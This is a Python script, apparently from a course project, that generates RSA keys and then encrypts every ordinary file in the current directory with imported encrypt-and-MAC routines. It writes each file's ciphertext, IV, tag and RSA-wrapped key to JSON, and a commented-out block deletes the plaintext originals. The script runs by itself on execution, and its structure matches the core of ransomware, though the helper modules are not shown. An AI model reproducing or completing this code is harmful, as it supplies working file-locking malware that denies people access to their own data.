import generate_keys
import values
import FileEncryptMAC
import FileDecryptMAC
import os
import json
from base64 import b64encode

# check if RSA key files exist
def check_RSA_keys():
    # check if public key exists. if not, generate them
    if (not os.path.isfile(values.PUBLIC_KEY_PATH)) and (not os.path.isfile(values.PRIVATE_KEY_PATH)):
        generate_keys.generate_keys()
    else:
        print('RSA key files found.')


# Writing to Json file
def write_to_json(RSACipher, ciphertext, iv, tag, ext, filepath):
    json_file = filepath + values.JSON_EXT
    output = open(json_file, 'w')
    data = {
        "RSACipher":    b64encode(RSACipher).decode('utf-8'),
        "Cipher text":  b64encode(ciphertext).decode('utf-8'),
        "IV":           b64encode(iv).decode('utf-8'),
        "Tag":          b64encode(tag).decode('utf-8'),
        "Extension":    ext
    }
    json.dump(data, output, ensure_ascii=False)
    output.close()


def drive():
    check_RSA_keys()

    # get the path of the directory of the file being executed
    my_directory = os.getcwd()
    print(my_directory)


    # loop through the directory and encrypt files
    # DO NOT encrypt the RSA private key file
    # also ignoring encrypting folders
    for file in os.listdir(my_directory):
        if not(file.endswith("private_key.PEM")) and not(file.endswith(".git"))\
                and not(file.endswith(".idea")) and not(file.endswith("__pycache__"))\
                and not(file.endswith("venv")) and not(os.path.isdir(file)) and not(os.path.isdir(file)):
            print("this file will be encrypted: ", file)
            # encrypt
            RSACipher, ciphertext, iv, tag, ext = FileEncryptMAC.MyRSAEncryptMAC(file, values.PUBLIC_KEY_PATH)

            # write to json file
            write_to_json(RSACipher, ciphertext, iv, tag, ext, file)



    # # delete the plaintext files
    # for file in os.listdir(my_directory) :
    #     if not (file.endswith("__pycache__")) and not (file.endswith(".idea"))\
    #             and not(file.endswith(".json")) and not(os.path.isdir(file))\
    #             and not(file.endswith(".exe")):
    #         os.remove(file)

    # decrypt
    #FileDecryptMAC.MyRSADecryptMAC(values.DECR_IMG_PATH, values.PRIVATE_KEY_PATH)

drive()

